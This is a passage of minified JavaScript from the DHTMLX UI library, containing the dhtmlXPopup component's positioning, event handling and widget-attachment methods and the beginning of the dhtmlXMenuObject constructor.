false}};this.skinParams={dhx_terrace:{t0:19,t1:9,t2:19,t3:9},dhx_skyblue:{t0:12,t1:9,t2:12,t3:9},dhx_web:{t0:12,t1:9,t2:12,t3:9}};this.p.ontouchstart=this.p.onclick=function(l){l=l||event;var h=(g.conf.last_p_click!=null&&g.conf.last_p_click!=l.type);g.conf.last_p_click=l.type;if(h==true){return}g._clearClick=true;if(g._nodeObj!=null){g.callEvent(\"onContentClick\",[]);return true}var a=(l.target||l.srcElement);var m=null;while(a!=g.p&&a!=null){if(typeof(a._idd)!=\"undefined\"&&!a._isSeparator){m=a._idd;a=null}else{a=a.parentNode}}a=null;if(m!=null){g.callEvent(\"onClick\",[m]);if(g!=null&&g.isVisible!=null&&g.isVisible()&&g.callEvent(\"onBeforeHide\",[\"select\",l,m])===true){l.cancelBubble=true;g.hide()}}};this.separator=\"DHXSEP_\"+window.dhx4.newId();this.tpl=[];this._setTemplate=function(a){this.tpl=a.split(\",\")};this.show=function(h){var a=null;if(arguments.length==1){if(!h){h=this.conf.id[0]}else{if(!this._idExists(h)){return}}if(this.conf.toolbar){a=this.conf.toolbar._getItemDim(h)}if(this.conf.ribbon){a=this.conf.ribbon._getItemDim(h)}if(this.conf.form){a=this.conf.form._getItemDim(h)}}else{if(arguments.length==4){this._clearClick=true;a={left:arguments[0],top:arguments[1],width:arguments[2],height:arguments[3]};h=null}}if(!a){return}this.p.style.visibility=\"hidden\";this.p.style.display=\"\";this._setPos(a);this.p.style.zIndex=window.dhx4.zim.reserve(this.conf.zi);this.p.style.visibility=\"visible\";this._lastId=h;this.callEvent(\"onShow\",[h])};this._setPos=function(I,n){var v=I.left;var s=I.top;var C=I.width;var L=I.height;this._posData={left:v,top:s,width:C,height:L};var N=window.dhx4.screenDim();var F=n||this.mode;if(typeof(n)==\"undefined\"){n=false}var P={top:(s-this.p.offsetHeight)-N.top,bottom:N.bottom-(s+L+this.p.offsetHeight),left:v-this.p.offsetWidth-N.left,right:N.right-(v+C+this.p.offsetWidth)};if(!n&&P[F]<0){var J=this._getAvailPos(F,P);if(J!==false){this._setPos(I,J);return}}if(F==\"top\"||F==\"bottom\"){var D=this.skinParams[this.conf.skin].t2;var A=this.skinParams[this.conf.skin].t3;var r=Math.round(this.p.offsetWidth/2);var a=Math.round(this.p.lastChild.offsetWidth/2);if(v<N.left){var M=Math.min(v+C,N.left);C=v+C-M;v=M}if(v+C>N.right){C=N.right-v}var u=Math.round(v+C/2);var m=u-r;var K=u-D-a;var q=u+a+D-this.p.offsetWidth;if(m<N.left-A){m=Math.min(N.left-A,K)}else{if(m+this.p.offsetWidth>N.right+A){m=Math.max(q,N.right+A-this.p.offsetWidth)}}this.p.style.left=m+\"px\";this.p.style.top=(F==\"top\"?s-this.p.offsetHeight:s+L)+\"px\";u=u-m-a;this.p.lastChild.className=\"dhx_popup_arrow dhx_popup_arrow_\"+F;this.p.lastChild.style.top=(F==\"top\"?this.p.offsetHeight-this.p.lastChild.offsetHeight:0)+\"px\";this.p.lastChild.style.left=u+\"px\"}if(F==\"left\"||F==\"right\"){var D=this.skinParams[this.conf.skin].t0;var A=this.skinParams[this.conf.skin].t1;var o=Math.round(this.p.offsetHeight/2);var S=Math.round(this.p.lastChild.offsetHeight/2);if(s<N.top){var l=Math.min(s+L,N.top);L=s+L-l;s=l}if(s+L>N.bottom){L=N.bottom-s}var u=Math.round(s+L/2);var H=u-o;var Q=u-D-S;var O=u+S+D-this.p.offsetHeight;if(H<N.top-A){H=Math.min(N.top-A,Q)}else{if(H+this.p.offsetHeight>N.bottom+A){H=Math.max(O,N.bottom+A-this.p.offsetHeight)}}this.p.style.left=(F==\"left\"?v-this.p.offsetWidth:v+C)+\"px\";this.p.style.top=H+\"px\";u=u-H-S;this.p.lastChild.className=\"dhx_popup_arrow dhx_popup_arrow_\"+F;this.p.lastChild.style.left=(F==\"left\"?this.p.offsetWidth-this.p.lastChild.offsetWidth:0)+\"px\";this.p.lastChild.style.top=u+\"px\"}if(this._IEDisp&&this._nodeId!=null){var E=document.getElementById(this._nodeId);if(this.conf.IE6_display_fix==true){E.style.visibility=\"hidden\"}window.setTimeout(function(){E.style.visibility=\"visible\";E=null},1)}};this._getAvailPos=function(r,o){var l={top:[\"bottom\",\"right\",\"left\"],bottom:[\"top\",\"right\",\"left\"],left:[\"right\",\"bottom\",\"top\"],right:[\"left\",\"bottom\",\"top\"]};var m=null;for(var n=0;n<l[r].length;n++){if(m==null&&o[l[r][n]]>0){m=l[r][n]}}if(m==null){m=\"bottom\";for(var h in o){if(o[h]>o[m]){m=h}}}if(m==r){return false}return m};this._repaint=function(){if(this.isVisible()){this._setPos(this._posData)}};this.clear=function(){if(this._nodeObj){if(window.dhx4.isIE&&typeof(window.dhtmlXLayoutObject)!=\"undefined\"&&this._nodeObj instanceof dhtmlXLayoutObject){this.p.onmousedown=null}if(this._nodeObj.unload){this._nodeObj.unload()}else{if(this._nodeObj.destruct){this._nodeObj.destruct()}}this._nodeObj=this._nodeId=null;if(this._nodeObjEv!=null){for(var h=0;h<this._nodeObjEv.length;h++){this.detachEvent(this._nodeObjEv[h])}this._nodeObjEv=null}}if(this._IEHoverInited){this._IEHoverClear()}var a=this.p.firstChild.firstChild.firstChild;while(a.childNodes.length>0){a.removeChild(a.lastChild)}a=null;this.itemData={}};this.hide=function(){if(this.p.style.display!=\"none\"){this.p.style.display=\"none\";window.dhx4.zim.clear(this.conf.zi);var a=this._lastId;this._lastId=null;this.callEvent(\"onHide\",[a]);this.conf.last_p_click=this.conf.last_body_click=null}};this.isVisible=function(){return(this.p.style.display==\"\")};this.itemData={};this.getItemData=function(a){if(!a){return this.itemData}if(this.itemData[a]){return this.itemData[a]}return{}};this.setSkin=function(a){this.conf.skin=a;this.p.className=\"dhx_popup_\"+this.conf.skin;if(this._nodeObj!=null&&typeof(this._nodeObj.setSkin)==\"function\"){this._nodeObj.setSkin(this.conf.skin)}this._repaint()};this.attachList=function(l,s){this._setTemplate(l);this.clear();var m=this.p.firstChild.firstChild.firstChild;for(var o=0;o<s.length;o++){var n=document.createElement(\"TR\");if(s[o]!=this.separator){if(typeof(s[o].id)==\"undefined\"||s[o].id==null){n._idd=window.dhx4.newId();while(this.itemData[n._idd]!=null){n._idd=window.dhx4.newId()}}else{n._idd=s[o].id}this.itemData[n._idd]=s[o]}m.appendChild(n);if(s[o]==this.separator){n.className=\"dhx_popup_sep\";n._isSeparator=true;var u=document.createElement(\"TD\");u.className=\"dhx_popup_sep\";u.colSpan=this.tpl.length;u.innerHTML=\"<div class='dhx_popup_sep'>&nbsp;</div>\";n.appendChild(u);u=null}else{for(var a=0;a<this.tpl.length;a++){var h=\"dhx_popup_td\";if(this._IEFirstLast&&(this.tpl.length==1||a==0||a==this.tpl.length-1)){if(this.tpl.length==1){h+=\" dhx_popup_td_single\"}else{h+=(a==0?\" dhx_popup_td_first\":\" dhx_popup_td_last\")}}var u=document.createElement(\"TD\");u.className=h;u.innerHTML=s[o][this.tpl[a]]||\"&nbsp;\";n.appendChild(u);u=null}if(this._IEHover){n._IEHover=true;if(!this._IEHoverInited){this._IEHoverInit()}}}n=null}m=null;this._repaint()};this._attachNode=function(m,l){this.clear();this._nodeId=\"dhxpopup_node_\"+window.dhx4.newId();var a=this.p.firstChild.firstChild.firstChild;var h=document.createElement(\"TR\");h.className=\"dhxnode\";a.appendChild(h);var n=document.createElement(\"TD\");n.className=\"dhx_popup_td\";n.innerHTML=\"<div id='\"+this._nodeId+\"' style='position:relative;'></div>\";if(l.width){n.firstChild.style.width=l.width+\"px\"}if(l.height){n.firstChild.style.height=l.height+\"px\"}h.appendChild(n);n=h=a=null;if(typeof(this[\"_attach_init_\"+m])==\"function\"){this[\"_attach_init_\"+m](l);this._enableIEVFix()}this._repaint();return this._nodeObj};this.unload=function(){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"touchstart\",this._doOnClick,false);window.removeEventListener(\"click\",this._doOnClick,false);window.removeEventListener(\"keyup\",this._doOnKeyUp,false);window.removeEventListener(\"unload\",this._doOnUnload,false)}else{document.body.detachEvent(\"onclick\",this._doOnClick,false);document.body.detachEvent(\"onkeyup\",this._doOnKeyUp,false);document.body.detachEvent(\"onunload\",this._doOnUnload,false)}window.dhx4.detachEvent(this.conf.ev_grid_click);this.clear();if(this.conf.toolbarEvent!=null&&this.conf.toolbar!=null){if(this.conf.toolbar.detachEvent!=null){this.conf.toolbar.detachEvent(this.conf.toolbarEvent)}else{this.conf.toolbar._getItemDim=null}}if(this.conf.ribbonEvent!=null&&this.conf.ribbon!=null){if(this.conf.ribbon.detachEvent!=null){this.conf.ribbon.detachEvent(this.conf.ribbonEvent)}else{this.conf.ribbon._getItemDim=null}}if(this.conf.slider!=null){for(var l=0;l<this.conf.slider_events.length;l++){this.conf.slider.detachEvent(this.conf.slider_events[l])}this.conf.slider_events=null;this._sliderShow=this._sliderHide=null;this.conf.slider=null}window.dhx4._eventable(this,\"clear\");this.p.onclick=this.p.ontouchstart=this.p.oncontextmenu=null;this.p.parentNode.removeChild(this.p);this.p=null;for(var h in this.conf){this.conf[h]=null}for(var h in this){this[h]=null}g=null};window.dhx4._eventable(this);this._doOnClick=function(q){q=q||event;var a=(g.conf.last_body_click!=null&&g.conf.last_body_click!=q.type);g.conf.last_body_click=q.type;if(a==true){return}if(g._clearClick==true){g._clearClick=false;return}if(g.conf.form!=null){var l;var s=(q.target||q.srcElement);if((s.tagName||\"\").toLowerCase()==\"option\"){s=s.parentNode}if(s.className!=null&&s.className.search(\"dhxform\")>=0){if(s.parentNode!=null&&s.parentNode.parentNode!=null&&s.parentNode.parentNode._idd!=null){l=s.parentNode.parentNode._idd;if(s.parentNode.parentNode._type==\"ra\"){l=[s.parentNode.parentNode._group,s.parentNode.parentNode._value]}}}else{var n=true;var o=false;while(n&&!o){var m=(s.className||\"\").toLowerCase();if(m.length>0){o=(m==\"dhxform_btn\"||m.search(/dhxeditor_inside/gi)>=0||m==\"dhxcombo_input\"||m.search(/dhxcombolist/gi)>=0)}s=s.parentNode;n=(s!=null)}if(o){return}}s=null;if(l!=null&&g._idExists(l)){return}}if(typeof(window.dhtmlXForm)!=\"undefined\"&&g._nodeObj instanceof window.dhtmlXForm){var u={};var m=0;var h=g._nodeObj;h.forEachItem(function(r){if(h.getItemType(r)==\"combo\"){u[h.getCombo(r).list._listId]=true;m++}});h=null;if(m>0){var s=(q.target||q.srcElement);var n=true;var o=false;while(n==true&&o!=true){var m=(s.className||\"\").toLowerCase();if(m.length>0&&m.search(/^dhxcombolist/gi)>=0&&s._listId!=null&&u[s._listId]==true){o=true;s=null}else{s=s.parentNode;n=(s!=null)}}if(o==true){return}}}if(g.isVisible()&&g.callEvent(\"onBeforeHide\",[\"click\",q])===true){g.hide()}};this._doOnKeyUp=function(a){a=a||event;if(a.keyCode==27){if(g.isVisible()&&g.callEvent(\"onBeforeHide\",[\"esc\",a])===true){g.hide()}}};this._doOnUnload=function(){g.unload()};if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"touchstart\",this._doOnClick,false);window.addEventListener(\"click\",this._doOnClick,false);window.addEventListener(\"keyup\",this._doOnKeyUp,false);window.addEventListener(\"unload\",this._doOnUnload,false)}else{document.body.attachEvent(\"onclick\",this._doOnClick,false);document.body.attachEvent(\"onkeyup\",this._doOnKeyUp,false);document.body.attachEvent(\"onunload\",this._doOnUnload,false)}this.conf.ev_grid_click=window.dhx4.attachEvent(\"_onGridClick\",function(h,a){if(g._nodeObj!=null&&g._nodeObj==a){return}g._clearClick=false;g._doOnClick(h)});this._idExists=function(l){var a=false;for(var h=0;h<this.conf.id.length;h++){if(this.conf.id[h] instanceof Array){a=a||(this.conf.id[h][0]==l[0]&&this.conf.id[h][1]==l[1])}else{a=a||this.conf.id[h]==l}}return a};this._IEDisp=(window.dhx4.isIE6||document.compatMode!=\"CSS1Compat\");this._IEHover=(window.dhx4.isIE6==true);if(this._IEHover){this._IEHoverInit=function(){this.p.onmouseover=function(){var a=event.srcElement;while(a!=this&&a._IEHover!=true){a=a.parentNode}if(a._IEHover){if(g._IEHoverTM){window.clearTimeout(g._IEHoverTM)}if(g._lastIEHover==a){return}g._IEHoverRender(a);a=null}};this.p.onmouseout=function(){if(g._IEHoverTM){window.clearTimeout(g._IEHoverTM)}g._IEHoverTM=window.setTimeout(function(){g._IEHoverRender(null)},1)};this._IEHoverRender=function(a){if(this._lastIEHover!=null){if(this._lastIEHover.className.search(/tr_hover/gi)>=0){this._lastIEHover.className=this._lastIEHover.className.replace(/\\s{0,}tr_hover/gi,\"\");this._lastIEHover=null}}if(a!=null&&a.className.search(/tr_hover/gi)<0){a.className+=\" tr_hover\";g._lastIEHover=a}};this._IEHoverInited=true};this._IEHoverClear=function(){this.p.onmouseover=null;this.p.onmouseout=null;this._IEHoverInited=false}}this._IEFirstLast=(window.dhx4.isIE6||window.dhx4.isIE7||window.dhx4.isIE8);this._enableIEVFix=function(){if(window.dhx4.isIE6||window.dhx4.isIE7){var h=this.attachEvent(\"onHide\",function(){document.getElementById(this._nodeId).style.visibility=\"hidden\"});var a=this.attachEvent(\"onShow\",function(){document.getElementById(this._nodeId).style.visibility=\"visible\"});if(this._nodeObjEv==null){this._nodeObjEv=[]}this._nodeObjEv.push(h,a)}};if(typeof(window.dhtmlXToolbarObject)!=\"undefined\"&&this.conf.toolbar!=null&&this.conf.toolbar instanceof window.dhtmlXToolbarObject&&this.conf.id!=null){if(!(this.conf.id instanceof Array)){this.conf.id=[this.conf.id]}this.skinParent=this.conf.toolbar.conf.skin;this._doOnToolbarClick=function(h){for(var a=0;a<g.conf.id.length;a++){if(h==g.conf.id[a]){if(h!=g._lastId){g.show(h);g._clearClick=true}}}};if(typeof(dhtmlXToolbarObject.prototype._getItemDim)==\"undefined\"){dhtmlXToolbarObject.prototype._getItemDim=function(l){var a=this.objPull[this.idPrefix+l];var h={left:window.dhx4.absLeft(a.obj),top:window.dhx4.absTop(a.obj),width:a.obj.offsetWidth+(a.arw?a.arw.offsetWidth:0),height:a.obj.offsetHeight};a=null;return h}}this.conf.toolbarEvent=this.conf.toolbar.attachEvent(\"onClick\",this._doOnToolbarClick)}if(typeof(window.dhtmlXRibbon)!=\"undefined\"&&this.conf.ribbon!=null&&this.conf.ribbon instanceof window.dhtmlXRibbon&&this.conf.id!=null){if(!(this.conf.id instanceof Array)){this.conf.id=[this.conf.id]}this.skinParent=this.conf.ribbon.conf.skin;this._doOnRibbonClick=function(h){for(var a=0;a<g.conf.id.length;a++){if(h==g.conf.id[a]){if(h!=g._lastId){g.show(h);g._clearClick=true}}}};if(typeof(dhtmlXRibbon.prototype._getItemDim)==\"undefined\"){dhtmlXRibbon.prototype._getItemDim=function(l){var a=this._items[l].base;var h={left:window.dhx4.absLeft(a),top:window.dhx4.absTop(a),width:a.offsetWidth,height:a.offsetHeight};a=null;return h}}this.conf.ribbonEvent=this.conf.ribbon.attachEvent(\"_showPopup\",this._doOnRibbonClick)}if(typeof(window.dhtmlXForm)!=\"undefined\"&&this.conf.form!=null&&this.conf.form instanceof window.dhtmlXForm&&this.conf.id!=null){if(!(this.conf.id instanceof Array)){this.conf.id=[this.conf.id]}if(!this.conf.mode){this.mode=\"right\"}this.skinParent=this.conf.form.skin;if(typeof(dhtmlXForm.prototype._getItemDim)==\"undefined\"){dhtmlXForm.prototype._getItemDim=function(a,h){return this.doWithItem(a,\"_getDim\")};for(var c in {input:1,password:1,select:1,multiselect:1,checkbox:1,radio:1,button:1,combo:1,btn2state:1,calendar:1,colorpicker:1,editor:1}){if(dhtmlXForm.prototype.items[c]!=null){dhtmlXForm.prototype.items[c]._getDim=function(h){var a=h;if({ta:true,pw:true,se:true,calendar:true,colorpicker:1,editor:true}[h._type]){a=h.childNodes[h._ll?1:0].childNodes[0]}if({ch:true,ra:true,btn2state:true}[h._type]){a=h.childNodes[h._ll?1:0].childNodes[1]}if({bt:true}[h._type]){a=h.firstChild}if({combo:true}[h._type]){a=h._combo.DOMParent.firstChild}var l={left:window.dhx4.absLeft(a),top:window.dhx4.absTop(a),width:a.offsetWidth,height:a.offsetHeight};a=null;return l}}}}}if(typeof(window.dhtmlXSlider)!=\"undefined\"&&this.conf.slider!=null&&this.conf.slider instanceof window.dhtmlXSlider){if(!this.conf.mode){this.mode=\"top\"}this.conf.slider_tm=null;this._sliderShow=function(){if(g.conf.slider_tm){window.clearTimeout(g.conf.slider_tm)}var a=g.conf.slider._r_actv;if(a!=null){var h={left:window.dhx4.absLeft(a),top:window.dhx4.absTop(a),width:a.offsetWidth,height:a.offsetHeight};g.show(h.left,h.top,h.width,h.height);a=null}};this._sliderHide=function(){g.conf.slider_tm=window.setTimeout(function(){g.hide()},200)};this.conf.slider_events=[this.conf.slider.attachEvent(\"onMouseDown\",this._sliderShow),this.conf.slider.attachEvent(\"onMouseUp\",this._sliderHide),this.conf.slider.attachEvent(\"onChange\",this._sliderShow)]}this.setSkin(this.skinParent||this.conf.skin||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhx_popup\")||\"dhx_skyblue\");return this}dhtmlXPopup.prototype.attachObject=function(a){return this._attachNode(\"object\",{obj:a})};dhtmlXPopup.prototype._attach_init_object=function(a){this._nodeObj=(typeof(a.obj)==\"string\"?document.getElementById(a.obj):a.obj);a.obj=null;document.getElementById(this._nodeId).appendChild(this._nodeObj);this._nodeObj.style.display=\"\";this._nodeObj.style.visibility=\"visible\"};dhtmlXPopup.prototype.attachHTML=function(a){return this._attachNode(\"html\",{html:a})};dhtmlXPopup.prototype._attach_init_html=function(a){document.getElementById(this._nodeId).innerHTML=a.html;this._nodeObj={text:a.html}};dhtmlXPopup.prototype.attachForm=function(c,a){return this._attachNode(\"form\",{struct:c,width:a})};dhtmlXPopup.prototype._attach_init_form=function(c){var a=this;this._nodeObj=new dhtmlXForm(this._nodeId,c.struct);this._nodeObj.setSkin(this.conf.skin);this._nodeObj.attachEvent(\"_onBeforeEditorAccess\",function(){a._clearClick=true});if(this.conf.editorEv!=null&&this.checkEvent(this.conf.editorEv)==false){this.conf.editorEv=null}if(dhtmlXForm.prototype.items.editor!=null&&this.conf.editorEv==null){this.conf.editorEv=this.attachEvent(\"onShow\",function(){var h=dhtmlXForm.prototype.items.editor.editor;for(var e in h){var l=h[e].base;var g=false;while(l!=null){if(l==this.p){g=true;l=null}else{l=l.parentNode}}l=null;if(g==true){h[e].cell.conf.cells_cont=null;h[e].setSizes()}}h=null;this.detachEvent(this.conf.editorEv);this.conf.editorEv=null});if(this._nodeObjEv==null){this._nodeObjEv=[]}this._nodeObjEv.push(this.conf.editorEv)}};dhtmlXPopup.prototype.attachCalendar=function(a){return this._attachNode(\"calendar\",a||{})};dhtmlXPopup.prototype._attach_init_calendar=function(a){if(a[\"double\"]==true){this._nodeObj=new dhtmlXDoubleCalendarObject(this._nodeId);this._nodeObj.leftCalendar.setSkin(this.conf.skin);this._nodeObj.rightCalendar.setSkin(this.conf.skin)}else{this._nodeObj=new dhtmlXCalendarObject(this._nodeId);this._nodeObj.setSkin(this.conf.skin)}this._nodeObj.show()};dhtmlXPopup.prototype.attachGrid=function(c,a){return this._attachNode(\"grid\",{width:c||400,height:a||200})};dhtmlXPopup.prototype._attach_init_grid=function(){this._nodeObj=new dhtmlXGridObject(this._nodeId);this._nodeObj.setSkin(this.conf.skin)};dhtmlXPopup.prototype.attachTree=function(e,c,a){return this._attachNode(\"tree\",{width:e||400,height:c||200,rootId:a||0})};dhtmlXPopup.prototype._attach_init_tree=function(a){this._nodeObj=new dhtmlXTreeObject(this._nodeId,\"100%\",\"100%\",(a.rootId))};dhtmlXPopup.prototype.attachLayout=function(c,a,e){return this._attachNode(\"layout\",{width:c||400,height:a||200,pattern:e||\"3L\"})};dhtmlXPopup.prototype._attach_init_layout=function(a){this._nodeObj=new dhtmlXLayoutObject(this._nodeId,a.pattern,this.conf.skin)};dhtmlXPopup.prototype.attachAccordion=function(e,a,c){return this._attachNode(\"accordion\",{width:e||400,height:a||200,conf:c||{}})};dhtmlXPopup.prototype._attach_init_accordion=function(a){a.conf.parent=this._nodeId;a.conf.skin=this.conf.skin;this._nodeObj=new dhtmlXAccordion(a.conf)};dhtmlXPopup.prototype.attachTabbar=function(e,a,c){if(typeof(c)==\"string\"){c={mode:c}}else{if(typeof(c)!=\"object\"||c==null){c={}}}return this._attachNode(\"tabbar\",{width:e||400,height:a||200,conf:c})};dhtmlXPopup.prototype._attach_init_tabbar=function(a){a.conf.parent=this._nodeId;a.conf.skin=this.conf.skin;this._nodeObj=new dhtmlXTabBar(a.conf)};dhtmlXPopup.prototype.attachSidebar=function(e,a,c){if(c==null){c={}}return this._attachNode(\"sidebar\",{width:e||400,height:a||200,conf:c})};dhtmlXPopup.prototype._attach_init_sidebar=function(a){a.conf.parent=this._nodeId;a.conf.skin=this.conf.skin;this._nodeObj=new dhtmlXSideBar(a.conf)};dhtmlXPopup.prototype.attachEditor=function(e,a,c){return this._attachNode(\"editor\",{width:e||400,height:a||200,conf:c||{}})};dhtmlXPopup.prototype._attach_init_editor=function(c){document.getElementById(this._nodeId).className=\"dhxeditor_\"+this.conf.skin;c.conf.parent=this._nodeId;if(c.conf.skin==null){c.conf.skin=this.conf.skin}this._nodeObj=new dhtmlXEditor(c.conf);var a=this.attachEvent(\"onShow\",function(){if(this._nodeObj instanceof window.dhtmlXEditor){this._nodeObj.setSizes()}});if(this._nodeObjEv==null){this._nodeObjEv=[]}this._nodeObjEv.push(a)};dhtmlXPopup.prototype.attachColorPicker=function(a){if(typeof(a)!=\"object\"||a==null){a={}}return this._attachNode(\"colorpicker\",{conf:a})};dhtmlXPopup.prototype._attach_init_colorpicker=function(a){a.conf.skin=this.conf.skin;a.conf.parent=this._nodeId;this._nodeObj=new dhtmlXColorPicker(a.conf)};dhtmlXPopup.prototype.attachCarousel=function(e,a,c){if(c==null){c={}}return this._attachNode(\"carousel\",{width:e||400,height:a||300,conf:c})};dhtmlXPopup.prototype._attach_init_carousel=function(a){a.conf.parent=this._nodeId;a.conf.skin=this.conf.skin;this._nodeObj=new dhtmlXCarousel(a.conf)};function dhtmlXMenuObject(h,l){var g=this;this.conf={skin:(l||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxmenu\")||\"dhx_skyblue\"),mode:\"web\",align:\"left\",is_touched:false,selected:-1,last_click:-1,fixed_pos:false,rtl:false,icons_path:\"\",arrow_ff_fix:(navigator.userAgent.indexOf(\"MSIE\")>=0&&document.compatMode==\"BackCompat\"),live_id:window.dhx4.newId(),tags:{root:\"menu\",item:\"item\",text_ext:\"itemtext\",userdata:\"userdata\",tooltip:\"tooltip\",hotkey:\"hotkey\",href:\"href\"},autoload:{},hide_tm:{},top_mode:true,top_tmtime:200,v_enabled:false,v:{x1:null,x2:null,y1:null,y2:null},dir_toplv:\"bottom\",dir_sublv:\"right\",auto_overflow:false,overflow_limit:0,of_utm:null,of_utime:20,of_ustep:3,of_dtm:null,of_dtime:20,of_dstep:3,of_ah:{dhx_skyblue:24,dhx_web:25,dhx_terrace:27},of_ih:{dhx_skyblue:24,dhx_web:24,dhx_terrace:24},tm_sec:400,tm_handler:null,dload:false,dload_url:\"\",dload_icon:false,dload_params:{action:\"loadMenu\"},dload_pid:\"parentId\",tl_botmarg:1,tl_rmarg:0,tl_ofsleft:1,context:false,ctx_zoneid:false,ctx_autoshow:true,ctx_autohide:true,ctx_hideall:true,ctx_zones:{},ctx_baseid:null,selected_sub:[],opened_poly:[]};if(typeof(h)==\"object\"&&h!=null&&typeof(h.tagName)==\"undefined\"){if(h.icons_path!=null||h.icon_path!=null){this.conf.icons_path=(h.icons_path||h.icon_path)}if(h.skin!=null){this.conf.skin=h.skin}if(h.visible_area){this.conf.v_enabled=true;this.conf.v={x1:h.visible_area.x1,x2:h.visible_area.x2,y1:h.visible_area.y1,y2:h.visible_area.y2}}for(var e in {json:1,xml:1,items:1,top_text:1,align:1,open_mode:1,overflow:1,dynamic:1,dynamic_icon:1,context:1,onload:1,onclick:1,oncheckboxclick:1,onradioclick:1}){if(h[e]!=null){this.conf.autoload[e]=h[e]}}h=h.parent}if(h==null){this.base=document.body}else{var c=(typeof(h)==\"string\"?document.getElementById(h):h);if(c!=null){this.base=c;if(!this.base.id){this.base.id=\"menuBaseId_\"+new Date().getTime()}this.base.className+=\" dhtmlxMenu_\"+this.conf.skin+\"_Middle dir_left\";this.base._autoSkinUpdate=true;if(this.base.oncontextmenu){this.base._oldContextMenuHandler=this.base.oncontextmenu}this.conf.ctx_baseid=this.base.id;this.base.onselectstart=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false};this.base.oncontextmenu=function(a){a=a||event;if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}return false}}else{this.base=document.body}}this.idPrefix=\"\";this.topId=\"dhxWebMenuTopId\";this.idPull={};this.itemPull={};this.userData={};this.radio={};this.setSkin=function(n){var o=this.conf.skin;this.conf.skin=n;switch(this.conf.skin){case\"dhx_skyblue\":case\"dhx_web\":this.conf.tl_botmarg=2;this.conf.tl_rmarg=1;this.conf.tl_ofsleft=1;break;case\"dhx_terrace\":this.conf.tl_botmarg=0;this.conf.tl_rmarg=0;this.conf.tl_ofsleft=0;break}if(this.base._autoSkinUpdate){this.base.className=this.base.className.replace(\"dhtmlxMenu_\"+o+\"_Middle\",\"\")+\" dhtmlxMenu_\"+this.conf.skin+\"_Middle\"}for(var m in this.idPull){this.idPull[m].className=String(this.idPull[m].className).replace(o,this.conf.skin)}};this.setSkin(this.conf.skin);this._addSubItemToSelected=function(n,m){var a=true;for(var o=0;o<this.conf.selected_sub.length;o++){if((this.conf.selected_sub[o][0]==n)&&(this.conf.selected_sub[o][1]==m)){a=false}}if(a==true){this.conf.selected_sub.push(new Array(n,m))}return a};this._removeSubItemFromSelected=function(r,o){var a=new Array();var n=false;for(var s=0;s<this.conf.selected_sub.length;s++){if((this.conf.selected_sub[s][0]==r)&&(this.conf.selected_sub[s][1]==o)){n=true}else{a[a.length]=this.conf.selected_sub[s]}}if(n==true){this.conf.selected_sub=a}return n};this._getSubItemToDeselectByPolygon=function(r){var a=new Array();for(var s=0;s<this.conf.selected_sub.length;s++){if(this.conf.selected_sub[s][1]==r){a[a.length]=this.conf.selected_sub[s][0];a=a.concat(this._getSubItemToDeselectByPolygon(this.conf.selected_sub[s][0]));var o=true;for(var n=0;n<this.conf.opened_poly.length;n++){if(this.conf.opened_poly[n]==this.conf.selected_sub[s][0]){o=false}}if(o==true){this.conf.opened_poly[this.conf.opened_poly.length]=this.conf.selected_sub[s][0]}this.conf.selected_sub[s][0]=-1;this.conf.selected_sub[s][1]=-1}}return a};this._hidePolygon=function(a){if(this.idPull[\"polygon_\"+a]!=null){if(this.idPull[\"polygon_\"+a]._zId!=null){window.dhx4.zim.clear(this.idPull[\"polygon_\"+a]._zId)}if(typeof(this._menuEffect)!=\"undefined\"&&this._menuEffect!==false){this._hidePolygonEffect(\"polygon_\"+a)}else{if(this.idPull[\"polygon_\"+a].style.display==\"none\"){return}this.idPull[\"polygon_\"+a].style.display=\"none\";if(this.idPull[\"arrowup_\"+a]!=null){this.idPull[\"arrowup_\"+a].style.display=\"none\"}if(this.idPull[\"arrowdown_\"+a]!=null){this.idPull[\"arrowdown_\"+a].style.display=\"none\"}this._updateItemComplexState(a,true,false);if(window.dhx4.isIE6&&this.idPull[\"polygon_\"+a+\"_ie6cover\"]!=null){this.idPull[\"polygon_\"+a+\"_ie6cover\"].style.display=\"none\"}}a=String(a).replace(this.idPrefix,\"\");if(a==this.topId){a=null}this.callEvent(\"onHide\",[a]);if(a!=null&&this.conf.skin==\"dhx_terrace\"&&this.itemPull[this.idPrefix+a].parent==this.idPrefix+this.topId){this._improveTerraceButton(this.idPrefix+a,true)}}};this._showPolygon=function(H,n){var M=this._countVisiblePolygonItems(H);if(M==0){return}var I=\"polygon_\"+H;if((this.idPull[I]!=null)&&(this.idPull[H]!=null)){if(this.conf.top_mode&&this.conf.mode==\"web\"&&!this.conf.context){if(!this.idPull[H]._mouseOver&&n==this.conf.dir_toplv){return}}if(!this.conf.fixed_pos){this._autoDetectVisibleArea()}var J=0;var L=0;var O=null;var D=null;if(this.idPull[I]._zId==null){this.idPull[I]._zId=window.dhx4.newId()}this.idPull[I]._zInd=window.dhx4.zim.reserve(this.idPull[I]._zId);this.idPull[I].style.visibility=\"hidden\";this.idPull[I].style.left=\"0px\";this.idPull[I].style.top=\"0px\";this.idPull[I].style.display=\"\";this.idPull[I].style.zIndex=this.idPull[I]._zInd;if(this.conf.auto_overflow){if(this.idPull[I].childNodes[1].childNodes[0].offsetHeight>this.conf.v.y2-this.conf.v.y1){var 